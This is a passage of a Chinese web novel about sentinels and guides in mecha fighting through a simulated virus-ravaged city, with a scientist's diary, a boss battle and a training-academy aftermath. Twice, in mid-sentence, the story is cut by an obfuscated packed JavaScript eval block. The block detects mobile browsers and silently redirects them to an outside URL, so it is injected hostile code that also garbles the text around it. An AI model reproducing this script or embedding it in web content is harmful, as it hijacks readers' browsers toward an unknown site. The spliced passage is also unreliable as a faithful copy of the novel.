在实验过程中，我对病毒的侵蚀机制有了更新的发现，可这些发现却让我更加恐惧。这种熔体RNA病毒似乎不仅仅是在改变人体细胞的生理结构，它还在影响人类的神经信号传到。我在被感染的细胞样本中检测到异常的电信号波动，这些波动的频率和模式，与人类大脑在接受强烈精神刺激时的反应非常相似。 我的身体状况也在持续恶化。视力变得模糊，经常能看到一些不存在的阴影在实验室角落蠕动。听觉变得异常敏感，那些平时几乎听不到的设备运转生，现在在我耳中如同雷鸣般刺耳。而且，我的情绪总是很不稳定，时而极度愤怒，时而陷入深深的绝望。 今天，我在研究笔记中发现了一些我完全不记得写下的内容。那些笔记充满了奇怪的符号和疯狂的想法，仿佛是另一个意识操控我的手记录下这些恐怖的念头。 我开始怀疑自己是否还能够继续这份研究工作。 或者说，我是否还能保持自己作为一个人类的理智？ 3111年8月10日 奥森给我找了一些实验体。但都太脆弱了，我需要更强壮的。 3111年8月12日 体质上的健硕不意味着脑部的发达。一颗迟钝的大脑很快就会被病毒吞噬，我得找些更聪明的来。 3111年8月13日 我在干什么？今天做实验的时候，我差点就想对我的队员艾琳下手！我的任务应该是研究病毒，而不是杀自己人。 3111年8月15日 我已经不再是我自己了。 今天在实验室里，我做出了一些极其危险的行动。 我故意破坏了一些防护装置，让病毒样本暴露在空气中。我听到有声音在我脑海中低语，催促我让更多人感受到病毒的伟大力量。我的理智在拼命挣扎，但却如此无力。 在对病毒侵蚀人体大脑机质的研究中，我发现这种熔体RNA病毒能偶绕过血-脑屏障，直接侵入大脑神经元。它会在神经元内释放出一种特殊蛋白质，这种蛋白质能够与神经递质结合，从而改变大脑的信号传递模式。通过这种方式，病毒能够逐步侵蚀人类的思想，将自己的意志强加给宿主。 我的身体已经沦为这种邪恶力量的傀儡。我背上的皮肤开始出现奇怪的纹路，就像是蛇人的鳞片。我知道，我将完全失去自己的人性，变成一个彻底的怪物。 其他人试图阻止我，但我已经不顾一切。我能感觉到自己正在开启一场无法挽回的灾难，我却无力阻止自己的行径。我只希望，有人能在一切都还来得及的时候，找到对抗这种力量的方法，拯救这个即将被黑暗吞噬的世界。 3111年8月17日 这可能是我最后的记录了。我的眼睛正在融化，就快要看不清字，但我仍想在完全失去自我之前，留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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XBE是异源生物医药工程（XenobioticBiomedicalEngineering）的缩写，它并不是模拟战场的虚构产物，而是帝国理工大学真实存在的王牌专业。 就连云川本人都是该专业的博士毕业生。 现实与虚幻的界限在此时被混淆，但真正令云川毛骨悚然不是这个。 她终于明白那种莫名的熟悉感来自于哪里了。 窦丽华。 窦丽华教授。 云川曾经引用过窦教授写得论文。 窦丽华是真人。 她是云川博导的师姐。 她真的在业内销声匿迹将近二十年。 “这一切是真实的。”云川喃喃。 “你在说什么？”林艾好奇地将头转向她。 “我……”云川嘴唇蠕动一会，没有回答。 她看着面前已经将染血的白大褂换成防护服的林艾，原本混乱的思绪，就好像被泼了盆冷水般陡然清醒。 林艾。艾琳。 星陨RNA病毒。熔体RNA病毒。 幻星花。星尘花。 真真假假，虚实交加。 云川终于明白……这场排位赛的故事背景，是以现实为蓝本改编的。 在现实世界中，在所有人都不知道的时候，真的存在一个被病毒毁灭的“阿莱城”。或许是怕引起民众恐慌，政府掩盖了一切。 可也许是为了让人们记住历史的教训，也许是出于更复杂的原因，这些本该淹没在时间长河中的细节被解封了。圣所通过模拟战场，改编并复现了这场惨案，以此锻炼觉醒者。 让云川感到困惑的是，既然是改编，为什么还要将窦教授的实验日志放在地下防空洞这个关键地点？这算是对过去的致敬还是缅怀？设计师就不怕有人像她一样发现背后的真相从而追查下去，将事情公之于众吗？ 还是说—— 他们根本不在乎？圣所就是有叛逆的底气？ 又或者—— 这是某人故意留下的线索。通过各种与现实相关联，却又与模拟战场存在违和的细节诱使参赛者产生好奇心，从而开始探寻。 伸长的触手将黑皮笔记本放回原位。 云川最后看了地下防空洞一眼，平静道：“……没什么。” 她迈开长腿，走在最前。 22. 不灭灯塔22 安全区位于距离当前防空洞二十公里外的机场。 “我知道一条近路。”林艾说，“我们可以开货车过去。车库就在这附近。” 众人闻言，先是一喜，而后面面相觑。 “那个，我们中有谁会开车吗？”湛容华弱弱问了一句。 “反正不是我。”麦考夫后退一步，“我距离满18岁还有两个月。” “我不开车。”卡修斯则是双手环胸，淡定摇了摇头。 “呃，我也不会开车——厉厉姐呢？”阿比盖尔扭头看向解厉。 被点名的解厉有些不好意思地摸摸鼻子，“我还没来得及去考驾照呢，嘿嘿嘿。” “……” “我会开车。” 在一片可疑的沉默中，云川举起手。 “虽然我没有货车驾照。” “那真是太棒了。”林艾迫不及待开始带路，“快跟我来！” 云川用触手卷着装满解药的冷冻箱，与林艾并肩走在开路的解厉和卡修斯身后。 “有靠谱的成年人在队伍里就是好，你说是不是，阿华？” 身后，麦考夫勾着湛容华的肩膀感慨。 “看来，接下来就得靠川川姐带我们飞了。”阿比盖尔也这样笑眯眯地调侃。 云川有些无奈地摇了摇头。 她的目光一一在他们的机甲上打转，面甲后的眼睛在这时候变得晦暗不明。 如果不是突然提到这个话题，云川都快要忘记当下和自己并肩作战的，其实是一群平均年龄才18岁的青少年。 一群孩子。 可当他们身穿战甲，昂首立于战场时，没人会把他们当作孩子。 模拟战场的敌人不会怜悯他们，圣所的高层领导也不会。 那些人居高临下俯视着这些觉醒者，一双双眼睛都藏在天空的背后。 她抬头，想看一眼天空，入目所见的却是防空洞粗糙的水泥墙面。 “就是这了。” 林艾停下脚步。 云川没有迟疑，打开车门后翻身进入驾驶座。 卡修斯坐在副驾，负责警戒和保护。 其余人则是待在后方的货厢中。 这辆白色的小货车就这样悄无声息地驶出山洞，在夜色中一路开往机场所在的方向。为了隐蔽，云川没有开车灯，全靠精神域网的指引在行动。 驾驶室中，云川和卡修斯始终保持着沉默。过了一会，倒是后方麦考夫忍不住先开口。 “你们不觉得这辆货车的操作系统设计得……呃，很古早吗？” 驾驶室和货厢的隔离之间有一块长条形的玻璃视窗。 解厉通过视窗，往后瞥了眼主驾驶的操作台面。 “被你这么说，好像是有点。我记得我家车库里就有辆差不多类型的，我妈说那辆老爷车是我出生那年买的。我今年都二十一了。” “是吗，我还没见过这种类型的车呢。”湛容华有点好奇地多瞄了几眼。 “其实，我觉得车载系统不那么智能化，也算好事。” 阿比盖尔叹了口气。 “卡修斯之前受伤不就是因为出门坐车时遇到正在自动升级的车载系统，结果后者因为故障突然爆炸，造成包括卡修斯在内的三名乘客重伤……” “准确来说，是在返回停车场，坐进车内的瞬间遭遇爆炸的。” 一直静静聆听后方交谈的卡修斯，此刻终于开口解释。 “只有我一个人活了下来。司机当场死亡，而另一名乘客，在被送往医院后，因为抢救无效也去世了。” “啊！是这样吗？”阿比盖尔非常惊讶，一下子就站了起来。 “对不起，卡修斯，我不知道后续情况居然是这样的。我很抱歉。” “为什么要道歉呢？” 卡修斯将脸微微侧转向她，机甲眼部的紫光发出微弱的闪光。 “你并没有做错什么，阿比盖尔。我只是在阐述事实而已。” “我……” 阿比盖尔一时语塞。 正在开车的云川此刻也加入这场对话。 她眼睛直视前方，“那你现在的感觉怎么样？” 卡修斯明白，她正在询问自己。只是他不理解这句话的具体含义，因此歪了歪脑袋。 “我需要有什么样的感觉？” 见状，云川换了种问法：“我的意思是，在经历过所坐车辆爆炸后，你再坐车的时候，身体会有什么特殊的反应吗？比如心跳加速，头晕，耳鸣，或者恶心？你会对坐车这件事感觉害怕吗？会抗拒吗？我现在的驾驶速度，会令你感觉不安吗？” 后排的大家闻言都将脑袋贴在玻璃后，关切地望着卡修斯。 “是呀，卡修斯。你有没有感觉哪里难受？” 卡修斯原本只是半侧的脸，在此时彻底转向了云川。 云川感觉到对方的目光落在自己的身上，尤其是落在她眼睛的位置上，似乎很想和她有眼神上的交流。 可她正在开车，开车最忌讳的就是偏移注意力。因此她只能伸出一只手，轻轻搭在对方的肩头。 云川：“如果你不舒服，一定要说出来。我会配合你调整的。” ……不知是否是云川的错觉。 当她的掌心，切实地触及到卡修斯冰冷的机甲表面的霎那，对方的身体，竟因此颤抖了起来。 ——就好像很紧张他人的接触似的。 然而这一切发生得实在太快。就在云川思考，自己的举动是否太过唐突的时候，卡修斯已经将自己的另一只手覆盖在了她的手背上。 “我不难受。” 卡修斯的态度很平静，可云川却觉得他向来低柔的嗓音，一下子变得沙哑，甚至带了点说不清道不明的粘腻感。 像是蜂蜜滴在天鹅绒上，在细腻的绒毛间缓缓蔓延。 如果用手指去触碰那滴蜂蜜的所在之处，手指首先感受到的是天鹅绒本身的柔软，紧接着就是蜂蜜那黏黏的，带有一点弹性的质感；如果想要轻轻移开手指，就会有种被轻微拉扯的感觉，就仿佛蜂蜜在天鹅绒上编织了一张小小的、粘腻的网，不肯轻易放走任何接触它的物体。 “我现在……”卡修斯轻轻地说，“我现在很舒服。” 云川忽然觉得，自己的手被两片火热的天鹅绒给裹住了，而蜂蜜则绞住她的手指，缓缓缚黏进指缝。 ……奇怪的联想。云川想。 “那就好。”她抽回手，重新握住方向盘。 卡修斯看了她片刻后，也移开目光。 “没事就好。”麦考夫松了口气。 后方，阿比盖尔欲言又止。她的目光在云川和卡修斯之间打了个转，然后她拧过脑袋，按着麦考夫湛容华解厉重新坐回原位。 感觉刚才的气氛有点怪，怎么说呢…… 脸蛋有点热热的。 阿比盖尔陷入沉思。 可今晚注定不会太平。还没思考出什么东西来，原本一直匀速行驶的车辆忽然猛地刹车。 出于惯性，众人的身体纷纷往前倾—— “发生什么事了？”解厉脸挤在玻璃上，龇牙咧嘴地骂骂咧咧。 “……前方有大量感染者正在接近。” 云川紧紧握着方向盘，盯着前方。 ——那是一片密密麻麻的感染者群，正以扭曲的姿态向这边移动。 “坐稳了。”云川用力踩下油门。 货车引擎发出低沉的怒吼。云川直接撞了过去，最前面的感染者就像破布娃娃一样被撞飞出去，在夜色中划过一道弧线，黑液溅在货车的挡风玻璃上，云川的视线瞬间模糊了一下，充满腐蚀性的液体很快弄坏车玻璃，但她没有丝毫犹豫。 车轮下不断传来碾压的感觉，伴随着感染者们痛苦的嘶吼，有些感染者紧紧抓住货车的车身，试图攀爬。 云川猛地转动方向盘，车身剧烈摇晃，那些抓着车身的感染者纷纷被甩落。 货车在感染者群中艰难开辟出一条血路。 云川明白，真正的难题还在后面等着他们。 她深吸一口气，目光坚定看向前方的机场：“这辆货车已经被感染者血液腐蚀，坚持不了多久，全体所有，准备弃车！” 随着她一声令下！车内所有人都在同时间暴起跳车。 下一秒，卡修斯的飞刀深深刺入货车。 “轰！” 一声巨响，货车瞬间被火焰和浓烟包围。 爆炸产生的冲击力如同汹涌的海浪，以货车为中心向四周扩散。原本正缓慢朝货车围拢的感染者直接被炸得肢体横飞。 燃烧的碎片如雨点般散落，点燃一些感染者的衣服和毛发，让他们变成了移动的火炬。 卡修斯偏头望向云川所在的方向。 在这片被战火映照得通红的战场上，云川身后黑色的触手在火光中狂舞。 在炽热的火中，它们闪烁着奇异的光泽，那是机甲特有的金属质感与生物的灵动融合的光芒。 …… 阿莱城的机场大半都是废墟。 直至此刻，云川才发现所谓的“安全区”，竟然是一架停在唯一完好的建筑楼顶的飞行器。 而他们最终需要面对的是—— 众人仰头直面阻拦在眼前的怪物。 它由无数感染者融合而成，体型极为庞大，宛如一座移动的肉山。它的身体结构混乱而扭曲，像是由无数人体的部分拼凑而成。 它的皮肤是黑色的，表面流动着粘稠的液体，每走一步那些液体都会滴落在地上，发出嘶嘶的腐蚀声。 他们最后需要战胜的就是这样的东西。云川想。 “啊啊啊啊怪物——！” 这时，一直都很配合他们的林艾突然发出一声尖叫。她惊恐地睁大双眼，像是受到极大刺激般转身胡乱跑了出去！ 这仿佛唤醒了怪物。它发出一声低沉的咆哮。 “回来！”湛容华说着，尾椎后猛然伸展而出的尾巴迅速卷起林艾。 然而，为时已晚。 怪物缓缓抬起由众多扭曲的人类头颅组成的脑袋，朝众人猛然发难！ 具有强烈腐蚀性的液体在从怪物身上淌落的瞬间，分裂成数百条液态尖刺，如骤雨般袭来！ 解厉白色的机甲在此刻宛如燃烧的烈火，正朝半空疯狂喷涂出交叉的火力网！ “吃我一炮！”她大喝一声，架起炮口就是一顿狂轰滥炸。 电磁炮呼啸着冲向怪物，在那如墨的粘稠表面炸开一圈圈波纹状的焦痕，恰似夜空中绽放的诡异烟火。 解厉惊呼：“这怪物的腐蚀层好厚！炸不破！” 就在这时，麦考夫如疾风般从侧翼掠过。 不知何时，他的机甲【红影】身后已经多了一对巨大的金属翅膀。 这大概就是动力机甲较之生物机甲为数不多的优势之一——虽然无法共生进化，但只要掌握了机甲的核心代码，就可以在原体机的基础上加入新的构成模块。有时候可以是一对拉风的大翅膀，有时候也可以是一条可爱的鱼尾巴。 麦考夫有力的机甲臂紧紧拽着湛容华的机甲。 湛容华共生进化出的金属蜥蜴尾巴在风中甩动，如灵动的长鞭。 一个抛投，湛容华在空中身姿矫健地连续甩出三连鞭击！鳞片划过怪物看似黏稠实则坚硬的表层，发出刺耳的金属摩擦声。 卡修斯则如黑夜中的鬼魅，暗紫色机甲化作一道流光。 十六柄匕首割裂空气，带起一阵无形的涟漪，恰似寒夜中的冷光，精准地刺入怪物体内，似要将这邪恶的存在钉于无形。 但怪物的皮肤却在被刀锋触及核心前骤然硬化，卡修斯顿时被反震撞进废墟中。 “超声波!”云川的一条触手缠住湛容华机甲的蜥蜴尾，“使用超声波共振！” 两者精神域网链接的霎那，湛容华的瞳孔在精神图景里燃起橘黄色的火焰。 他从没有哪一刻像现在这样，感觉自己充满力量。 他的机甲腹腔裂开发声腔。 肉眼可见的震荡波将怪物皮肤表层震出层层蜂窝状的结构。 阿比盖尔瞅准时机，毅然将手臂上的黄金盾牌砸进怪物皮肤的裂缝中！ 臂盾掀起的震动如汹涌的浪潮，让那怪物体内流动的剧毒黏液短暂凝固，时间仿佛也在此刻为之停顿。 当盾牌能量过载爆炸时，云川看见——怪物体内深处有团暗红色能量体在转动！ “麦考夫！” 云川用三条触手卷住他的机甲喷射口，“把你的目标对准那里！坐标是——” “9-7-21！！！” 这个C级哨兵此时的反应速度快得惊人，当幽蓝光束贯穿怪物的瞬间，解厉的热熔炮与卡修斯的匕首同时刺入能量核心。 黑液海啸般汹涌而至，瞬间就将阿比盖尔的机甲吞没！ 那如墨的黑暗似要将一切吞噬。 就在这千钧一发之际，解厉的肩炮阵列轰出一条求生的通道。 “阿比盖尔！！！”解厉怒吼，“我!来！开！路！” 狂暴的火力几乎将怪物打穿，一片可怕的嘶嘶声中，阿比盖尔顶着破败的机甲和满身的伤冲了出来。 卡修斯被禁锢在核心的液态囚笼中。然而他并不慌张，他握紧匕首，机甲周身瞬间燃起带电的火花，猛然砍断笼子，踩着阿比盖尔的盾牌一跃而起！ 云川：“就是现在！” 卡修斯匕首刺入核心的瞬间，怪物体内顿时爆发出一阵灰黑色的雾气，如幽灵般探向众人。 阿比盖尔瞳孔骤然紧缩：“该死，那是拟态核心。” 湛容华：“小心精神污染！” 云川的八条触手瞬间悉数张开，形成一道坚固的防护网。 怪物发出非人的尖啸，精神污染源的啸声召唤风雨，一时间狂风怒号，暴雨淋漓。 云川的精神就在这时突然被拖进暴风眼中。 无数破碎的记忆猛然涌入，在意识海里不断翻涌扑腾。一时间，云川看见注射器刺入脖颈的研究员，看见融化在培养舱里的流浪汉，观测到那从深空传来的诡异低频波…… 混乱的意识漩涡最终熔炼成一双金色的眼睛。 眼睛死死凝视着云川。 她像被攫住心脏般几乎要窒息。 身体不受控地抽搐，直到有什么冰冷的东西抚上她的后颈。 “坚持住，你可以净化它的。” 当这声呢喃混着尖叫传进云川的耳朵里的时候，她不受控制的狂乱思绪忽然停顿了一瞬。 坚持住。她想，我一定要坚持住。 我还没有—— 霎那间，云川的精神域网猛然爆发！她的精神触须在此刻汇聚成海浪，不断冲刷着那些黑色的记忆。 飓风悄无声息停止了，云川跌跌撞撞落回地面。 直到此刻，她才发现卡修斯的匕首正抵在她咽喉三厘米处——他的机甲关节还滴落着剧毒的黑液，可他仍用一手托着她的后颈。 卡修斯小半张面甲都已经被腐蚀，露出些许打着卷儿的发丝，和一只神秘的暗紫色眼眸。 他垂眸看着云川。眼睫毛浓密而纤长，像是为这只眼拉起的黑色帷幕，随着每次的眨眼轻微颤抖，似乎只要凝视片刻，就会被卷入深不见底的漩涡中。 “你恢复清醒了吗？”卡修斯开口。 云川点头：“谢谢你。” “不客气。”卡修斯收起匕首，“保护向导是哨兵的职责。” 正在此时。 麦考夫的动力机甲燃料舱突然过载，表面开始闪烁起刺目的警示红光，原本流畅的动作变得卡顿起来，每次关节的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068158|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭动都伴随着一种不稳定的震颤，推进器喷射出的火焰时强时弱，他最终不慎从半空中坠落。 湛容华毫不犹豫，蜥蜴尾紧紧卷着自爆装置，决心向着核心发起自杀式突进。 “你在做什么？” 解厉猛地拽住他的尾巴尖儿，将他甩到身后：“这事还轮不到向导！” 而直到此刻，怪物真正的核心，在刚才云川标注的反方向悄然显形。 阿比盖尔接住麦考夫，把他拖到一旁，竭力撑起盾牌。 解厉再次发射电磁炮。 卡修斯眼神冷酷，机甲周围电光闪烁。他从脊椎后抽出一把狙枪，十字准星对准怪物核心。 云川的触手再次缠住湛容华胖胖的蜥蜴尾巴，两人的精神域网同时间展开覆盖住所有人。一时间，六人的精神力被凝成一起，如汹涌的洪流，似狂暴的飓风，向着怪兽席卷而去！ 终于，怪物在精神力和物理的双重暴击中爆破中缓缓坍缩，如梦幻泡影般消逝。 然而这并不是终结。 一个怪物倒下了，但先前阻拦他们的那些感染者也陆续加入战场。它们单个战斗力并不强悍，可奈何数量实在太多了。此刻正如潮水般向他们漫来。 大家的体力都被消耗了大半，经不起第二场厮杀。 云川明白，此刻已经到了撤离的时候。 “不要恋战。快走。”她说，“我们的目标是航空楼顶。” “我来殿后。”卡修斯说。 云川朝他略一点头。她身后，一条触手缠住精疲力竭的麦考夫，一条触手裹起从战斗开始时就一直在尖叫现在也没停止的林艾，一条触手扶起腿部和手臂都受伤了的阿比盖尔，就这么拖家带口地爬上了航空楼。 她要把他们这些伤员先安全送达顶楼，然后再来接应剩下的人。 “解药和林艾就交给你，阿比盖尔。”看见阿比盖尔点头将解药箱子抱在怀里，云川微微松了口气。接着她转身，对麦考夫说，“你能启动这台飞行器吗？” 麦考夫虚弱点头，“但我需要时间。” 云川往楼下看，瞳孔骤然一紧！ 仅仅一会儿的功夫，她就看不见剩余三人的身影了！ 从地面到顶楼的垂直空间，此刻已完全沦为感染者们疯狂攀爬的通道！ 无数感染者在地面涌动，简直像一片散发着腐臭的黑色潮水。那些位于最底层的感染者即便被同伴踩踏仍拼命往上拱，身体互相挤压碰撞，发出令人毛骨悚然的摩擦声。 有些感染者胡乱抓着同伴的身体，黑洞洞的口腔大张着不断发出低沉的咆哮，唾液混合着黑血流下，滴落在下面的感染者头上、身上。每一层感染者都承受着巨大的重量，有的身体已经被压得变形，但他们仍机械地用仅存的力量抓牢下面和上面的同类。 云川心登时一紧。她立刻释放精神域网，疯狂搜寻自己的队友。 【我们在航空楼的紧急通道里！】湛容华的精神触须很快回应道，【我们正在接近顶楼！你不要下来，保护好其余人！】 【小心。】云川只能如此嘱咐道。 感染者搭建的梯子已经很接近了顶楼了。最上面的几个的动作因此变得更加疯狂，手指紧紧扣住墙壁上的缝隙，或者是边缘的栏杆，本就接近融化的手此时早已被摩擦得不堪入目。 但幸好云川的触手足够强壮，数量也足够多。每每有四面八方的感染者接近，就会被她一下子拦腰拍下去，化作腐烂的肉泥。 这样有效率的手段也并非没有代价。感染者身体飙出的黏液滴落在触手上，灼烧出一个又一个的洞孔。 生物机甲对于操纵者来说就如同自己的皮肤，受到的任何伤害都直接反馈到大脑神经中枢。 就像无数根针猛地扎进皮肤，带着滚烫的热度。这种热度在刺痛的瞬间迅速蔓延，仿佛一小团火焰直接在皮肤上燃烧。在接触的瞬间就强烈地向大脑传递着疼痛的讯号。可这疼痛不会立即消失，那是一种持续的、深入骨髓的痛。 为了转移疼痛，云川只能将注意力转移到击杀感染者身上。 她需要尽可能多的杀敌，只有这样才能在排位赛中拿到第一名。 可她为什么执着地想成为第一呢？ ——因为只有这样才会被看见。 只有被看见，才有更多机会。 ——可她想要什么样的机会呢？ 她想要…… 云川咬牙，在她的触手又一次碾过感染者后，其中有两条已经被腐蚀到彻底断裂了。 “麦考夫！”见状，阿比盖尔怒吼道，“快一点——！！！” “在搞了！！！”麦考夫很痛苦地回应。 身后，楼下通往天台的门被猛地踹开！ 云川回头，首先看见的狼狈滚落在地的湛容华，然后是解厉，最后是卡修斯，和—— “怪物冲上来了！”林艾这次尖叫得更加歇斯底里。 卡修斯暴喝，“我支撑不了多久了！” “死脑子快转呀！”麦考夫急得流眼泪，“呜呜呜快一点……” 终于，在他们即将被感染者淹没的时候，飞行器舱门终于升起。 云川眼疾手快地率先把麦考夫推了进去，然后是林艾，阿比盖尔和湛容华。 “我不会开飞行器……等等，我记得这是有自动驾驶功能的。”这次坐进驾驶位的人变成了麦考夫，他手忙搅乱地操作起来。 云川忙着拉最后的两人。 她伸出两根触手，一只抓住卡修斯，另一只却在即将触碰到解厉的时候，被感染者飞溅的血液腐蚀，断成半截了！ 不仅如此，原本已经摇摇晃晃起飞的他们，因为感染者不断往上爬，被硬生生拖在了顶楼！ “解厉！——”云川失声。 “你们快走！”解厉怒吼着举起最后一把脉冲枪和电磁炮，“我会干掉所有挡路的感染者！！！” 那一刻，火光冲天而起，如绽放的红莲，撕开黑夜。 冲击波掀飞了解厉，她恍惚中听到云川在嘶吼什么，那声音比她坠向地面时耳畔呼啸的风更尖锐。 坠落的过程像被无限拉长。 黏液正在腐蚀她的伤口，解厉却忽然想起不久前刚和云川汇合时的场景——她从天而降出现在自己的身后，明明落地时的姿态还很笨拙，却仍然能用冷静的口气说出“这座城市正在融化，让我们给它来场无菌化消毒”这种狂妄的话语。 可过了才多久啊，融化的人却变成了解厉自己。 此刻，她燃烧的躯体正化作照亮黑夜的火星。 解厉嗅到自己皮肉灼烧的焦味。 最后的视野里，月光劈开朦胧的雾气，起飞的飞行器划破云层。 机翼阴影掠过解厉残损的面甲。 “……痛死老娘了。”解厉喃喃，“下、下次排位赛我一定不会再头脑一热搞这种牺牲奉献的戏码了……我该说些什么来作为遗言呢？一般动漫里有遗言的角色会显得比较酷……但是，可、可恶……头好痛，我怎么一到关键时刻头脑就一片空白？” 就在解厉以为自己会葬身火海时，突然，几条狂舞的触手猝不及防撞进她的视野中，扑进了烈火！ 被火烧焦大半的触手死死缠绕在她的腰间，把她直接拽离了火海！ “把遗言憋回去。”云川很阴沉地说，“我让你死了吗，哨兵？” “既然你当初选择了我，那么我就会把你原原本本地带回去。” 她们借由触手吊挂在飞行器下方。 卡修斯从上而下俯视她们，慢慢眯起眼睛。 而随着飞行器高度不断攀升，下方属于感染者们的咆哮逐渐消失。 他们驶入一片迷雾中。过了一会，前方豁然开朗。 那是一片连绵的雪山。 有金色的光，轻柔抚过每一寸洁白的山峦。 23. 不灭灯塔23 “排位赛第三轮：‘撤退安全区，逃离阿莱城’结束！” “……在经过惊心动魄的战斗之后，你们终于成功营救了科学家林艾，带着病毒解药离开了这座被病毒肆虐的城市。飞行器的引擎声在寂静的空中回响，向下望去，曾经繁华的城市如今已彻底沦为一片废墟，你们心中五味杂陈，既有对阿莱城往昔岁月的怀念，也有对成功逃离的庆幸。探索阿莱城的每个环节都充满了生死考验，那些与队友之间默契的协作、向导精准的指挥、哨兵英勇的防守，都是成功的关键因素。” “而现在，虽然离开了那座危险的城市，但未来依旧充满了不确定性。随着飞行器逐渐远离城市，你不禁开始思考这场病毒灾难的根源。是不是人类过度的贪婪才导致了这样的结果？如果有机会重新开始，是否能够避免这样的悲剧再次发生？……这些问题如阴影般笼罩在你的心头，但同时也成为了你继续前行的动力。你在这场浩劫中所学到的战斗技能、团队协作能力以及坚韧不拔的意志，都将成为面临未来挑战的宝贵财富！毕竟，在经历了如此残酷的考验后，已经没有什么是你不能面对的了。” “恭喜A级向导云川顺利完成比赛！” “模拟战场【侵蚀之城】正式完结。请参赛者查看总得分和最终排名！” 【姓名：云川】 【总得分：1028】 【排名：1/48】 随着飞行器逐渐接近雪山，那从山顶冉冉升起的刺目金光便从视网膜一直蔓延至脑中。 云川大脑先是一片空白，紧接着倏地一疼，被系统强制脱离了模拟战场。 猛一睁眼，她就感觉不对—— 胶囊机舱外，原本正面带微笑等待云川的乔琳，在看清机舱里发生什么以后脸色骤然一变！ 她三两步抢上前，一边狂按开机按钮取下云川的脑机头盔，一边大喊：“来人！快来个医疗机器人！漫游者机房有向导浑身痉挛了！迅速准备电疗抢救！” ……云川在切断与漫游者XVI机甲精神链接的瞬间，失去了对身体的控制权。 她全身肌肉都被一股无形的力量拉紧，陷入极度僵硬的状态。呼吸变得急促而困难，心跳也在胸腔内剧烈地跳动着。 理智上，云川清楚地知道，她是因为初次接入模拟战场，生理还不适应战斗过程中时刻紧绷的高压状态，从而导致全身肌肉痉挛。 可当她想试着深呼吸却无力做到，只能眼睁睁看着乔琳惊慌的表情时，她向来沉静的内心，还是被一股难以言喻的焦虑和恐惧所笼罩。 如果有谁此刻想对她做什么，那么她将无力反抗。 怀抱着极度的警惕，云川咬牙硬生生维持住头脑的清醒。 直到她被医疗机器人送入物理因子治疗室，直到医疗人员对她使用电疗仪器，直到她的肌肉痉挛缓解后被送回宿舍房间…… 云川始终都睁着眼睛。 而在云川看不见的地方，正爆发着一场与她相关的争执。 “我早就说过，以她现在的身体素质根本负担不了漫游者机甲！穆若莘那个魔鬼却还把她的机甲操作难度参数调到满级！这不是故意杀人是什么？！云川是一个攻击型向导！哨兵会出现的【神游】症状，她也有10%的可能会出现！好，就算排除【神游】的危险，万一她因为过度使用精神力导致精神受损，圣所白白损失一名A级向导，最后承担这个责任的，是她这个高高在上的阈界精神统筹局穆局长，还是直接负责训练云川的你和我？？？” 物理因子治疗室外的走廊上，目睹云川被送走的体能老师，正咬牙切齿地和身旁人咆哮。而她的精神体鳄鱼也在周围烦躁地四处走动，直到被一只棕色雕鸮啄了一下，才勉强安静下来。 “低声些，这事难道光彩吗？”雕鸮精神体的主人双手按住体能老师的肩头，显得有点无奈，“还是说，萌萌，你想用你的大嗓门儿把穆局长引过来？” 被称作“萌萌”的体能老师闻言冷笑：“我就是站在她门外吼她也听不见。一个没觉醒的普通人而已……” “萌萌！” 雕鸮主人打断她，语气带上警告的意味。 “穆局长是我们上级的上级的上级。就算你此刻是灯塔的教官，也得服从她的安排！何况，云川这一次除了肌肉痉挛之外也没别的大碍……我刚才检查过了，她的精神力不仅没有受损，较之之前的数据还提高了6%。而且除了云川，和她同队伍的几个人也有明显的精神力提升，这是好事。” “是吗？人差一点就要废了的好事？” “从结果来看这是好事。如果不是穆局长力排众议，你认为云川需要训练多久，才能达到现在的成果？我了解你，萌萌，你希望一切训练都循序渐进地来，我也很理解你这是为了孩子们的身心健康好，你是个很负责的老师。可是现在情况有变，云川她是一个已经成年了的A级向导，和其他未成年的小崽子们不一样！如果不趁现在抓紧时间刺激她，她就没有继续成长的机会了，她已经21岁！和她同龄的向导，此时都已经快要结束灯塔生涯，去军区或者公会服役了！” 萌萌老师的脸青一阵白一阵。 对面人顿了一顿，而后放缓语气：“萌萌，你也看到了云川在模拟战场中的表现了。她或许在战斗方面显得青涩，可她具备一切顶级向导应有的素质——难道就因为你的一点不忍和保守，让这个好苗子错失关键成长机会，一辈子都在A级停滞不前吗？” “我当然希望她能更好！我——” 萌萌老师的话卡在喉头，一时间什么也说不出来。 半晌后，她深深叹了口气。 “我明白你的意思了，小婉。只是我还是不赞同穆若莘这样粗暴的做法，即使是为了锻炼云川，她也应该事先给点提示，让她做好准备，而不是在小孩儿啥都不懂的情况下放任她找死。别这么看我，我知道云川成年了，但她对精神力的了解真是连十三岁的孩子也不如。” “我会教她的，萌萌。”小婉说，“从明天开始，我会教导她，成为一名真正的向导。” 两人在原地站了一会后才各自离去。 苏一萌本想直接回去休息，但走到一半，脚步还是拐了个弯。 她依然对穆若莘耿耿于怀，如果不将她心中的芥蒂说出来，她或许以后都睡不好觉了。 趁这位大领导今天还没有离开瑟银圣所，苏一萌决定找她谈谈。 瑟银圣所为穆若莘准备的临时房间，比起宿舍更像是豪华的酒店总统套房。 此刻她正坐在一把面向窗外雪山的椅子上，和四名被光脑全息投影出的下属开会。 “这是新制定的关于各灯塔对E级觉醒者的培训要求，请您过目。” “这是各灯塔提交的哨向临时匹配人员名单，请您过目。” “这是各公司关于觉醒者新型训练装备的招标价格统计，请您过目。” “这是关于对帝国境内各遗迹探索的最新信息，请您过目。” “还有这……” “还有那……” “请您过目请您过目请您过目……” 穆若莘双眼不断浏览着 